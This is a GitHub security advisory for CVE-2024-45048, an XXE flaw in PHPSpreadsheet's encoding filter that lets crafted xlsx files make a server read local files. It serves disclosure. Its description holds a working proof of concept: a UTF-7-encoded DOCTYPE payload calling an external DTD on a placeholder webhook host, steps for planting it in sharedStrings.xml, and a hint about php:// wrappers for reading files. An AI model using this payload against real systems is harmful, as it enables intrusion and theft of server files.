GitHub Advisoryadvisory · Packagist

GHSA-ghg6-32f9-2jp7 XXE in PHPSpreadsheet encoding is returned

HIGH Published 2024-08-29 Modified 2025-03-06 Official page ↗
Aliases
CVE-2024-45048
Ecosystem
Packagist
Packages
phpoffice/phpspreadsheet, phpoffice/phpexcel
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-611
Reviewed
2024-08-29

Affected packages

• Packagist phpoffice/phpspreadsheet: < 1.29.1 → fixed in 1.29.1 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.2.1 → fixed in 2.2.1 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.1 → fixed in 2.1.1 • Packagist phpoffice/phpexcel: <= 1.8.2 (no fix yet)

Description

Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `` to ``` +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: ``` use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); ``` 7) You will receive the request to your `http://%webhook%/file.dtd` 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files. Impact Read local files

Related

Alias · CVE (1)

  • CVE-2024-45048 PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. vulnerability

Weakness · CWE (1)

  • CWE-611 Improper Restriction of XML External Entity Reference weakness

References